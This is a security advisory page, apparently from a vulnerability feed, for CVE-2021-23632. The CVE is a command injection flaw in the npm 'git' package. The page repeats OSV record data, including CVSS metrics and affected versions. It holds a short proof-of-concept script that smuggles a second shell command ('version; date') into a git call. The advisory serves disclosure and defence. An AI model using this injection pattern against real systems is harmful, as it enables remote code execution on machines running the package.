Skip to content
Heist/ feed
Back to feed
Critical

Security advisory

Type: advisorySources: OSVCVE: CVE-2021-23632

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

Products
Not specified
Affected versions
Not specified
Fixed versions
Not specified
CVEs
CVE-2021-23632
Confirmed fixed CVEs
Not specified
Updated in this feed
1 Nov 2026, 05:11 UTC · Revision 1

Source evidence

CVE-2021-23632

core-osv · Original source

Published 17 Mar 2022, 12:15 UTC

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

osv:CVE-2021-23632
Complete source record
{
  "id": "c62c7944148fa649d2003267bb6e53d22031ac004a94740a33d5134f0c09a97f",
  "url": "https://osv.dev/vulnerability/CVE-2021-23632",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "CVE-2021-23632",
    "summary": "All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require(\"git\").Git; var repo = new Git(\"repo-test\"); var user_input = \"version; date\"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.",
    "evidence": "osv:CVE-2021-23632",
    "products": [],
    "severity": "critical",
    "structured": {
      "id": "CVE-2021-23632",
      "aliases": [
        "CVE-2021-23632",
        "GHSA-9gqr-xp86-f87h",
        "SNYK-JS-GIT-1568518"
      ],
      "metrics": [
        {
          "type": "CVSS_V3",
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "repo": "https://github.com/christkv/node-git",
              "type": "GIT",
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "last_affected": "5f904c02854b3cae480c73a88afb440109703650"
                }
              ],
              "database_specific": {
                "extracted_events": [
                  {
                    "cpe": "cpe:2.3:a:git_project:git:*:*:*:*:*:node.js:*:*",
                    "range": [
                      {
                        "introduced": "0"
                      },
                      {
                        "last_affected": "0.1.5"
                      }
                    ],
                    "source": "CPE_RANGE"
                  }
                ]
              }
            }
          ],
          "versions": [
            "V0.1.5",
            "V0.1.4",
            "V0.1"
          ],
          "database_specific": {
            "source": "https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2021-23632.json"
          }
        }
      ],
      "modified": "2026-10-24T10:30:25.627721047Z",
      "provider": "osv",
      "references": [
        "https://snyk.io/vuln/SNYK-JS-GIT-1568518"
      ],
      "provider_metadata": {
        "unresolved_ranges": [
          {
            "cpes": [
              "cpe:2.3:a:git_project:git:*:*:*:*:*:node.js:*:*"
            ],
            "vendor_product": "git_project:git",
            "extracted_events": [
              {
                "range": [
                  {
                    "last_affected": "0.1.5"
                  }
                ],
                "source": "CPE_RANGE"
              }
            ]
          }
        ]
      }
    },
    "related_cves": [
      {
        "value": "CVE-2021-23632",
        "evidence": "/id"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/severity/0/score"
  },
  "source_id": "core-osv",
  "document_id": 431405,
  "published_at": "2022-03-17T12:15:07.68+00:00"
}